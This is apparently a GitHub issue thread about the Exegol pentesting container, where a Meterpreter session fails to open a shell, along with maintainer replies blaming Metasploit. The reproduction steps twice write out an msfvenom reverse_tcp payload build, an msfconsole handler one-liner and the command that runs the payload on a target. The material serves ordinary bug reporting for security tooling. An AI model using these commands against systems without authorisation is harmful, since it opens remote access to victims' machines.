Closed HeaZzY closed 1 week ago
Thank you very much for the PoC, I will try to reproduce and fix it quickly!!!
@HeaZzY,
After testing, the issue comes from metasploit and not exegol :/ This is now fixed and will be deployed on the new nightly image. Thanks for this comprehensive and understandable issue !
@HeaZzY,
After testing, the issue comes from metasploit and not exegol :/ This is now fixed and will be deployed on the new nightly image. Thanks for this comprehensive and understandable issue !
Is this issue resolved, I am having the same issue ?
Describe the bug
After launching an attack using Metasploit on Exegol (Nightly version), the Meterpreter session is successfully created, but the shell fails to open. This unexpected behavior prevents interaction with the target machine through the obtained session.
Expected behavior: An interactive shell should open after successfully obtaining the Meterpreter session.
Steps To Reproduce
Context
Machine A: Exegol Nightly Machine B: Debian VM with Metasploit Machine C: Target machine (Linux or Windows, adapt the payload accordingly) a linux machine for me
First PoC via Exegol
Create the payload
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=<IP> lport=<PORT> -f elf > rev.elf
Launch Metasploit in the Exegol container
msfconsole -q -x "use exploit/multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set LHOST <IP>; set LPORT <PORT>; run"
Execute the payload on Machine C
./rev.elf
Try to open a shell on the obtained session
Result: The session is created, but opening the shell fails.
PoC via a VM
Create the payload
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=<IP> lport=<PORT> -f elf > rev.elf
Launch Metasploit in the container
msfconsole -q -x "use exploit/multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set LHOST <IP>; set LPORT <PORT>; run"
Execute the payload on Machine C
./rev.elf
Try to open a shell on the obtained session
Exegol Wrapper Version
Exegol container information
Exception
No response
Additional context
Anything else?
With Debian VM
With Exegol Nightly on windows
Test on windows ARM machine
With Exegol FULL
With ubuntu wsl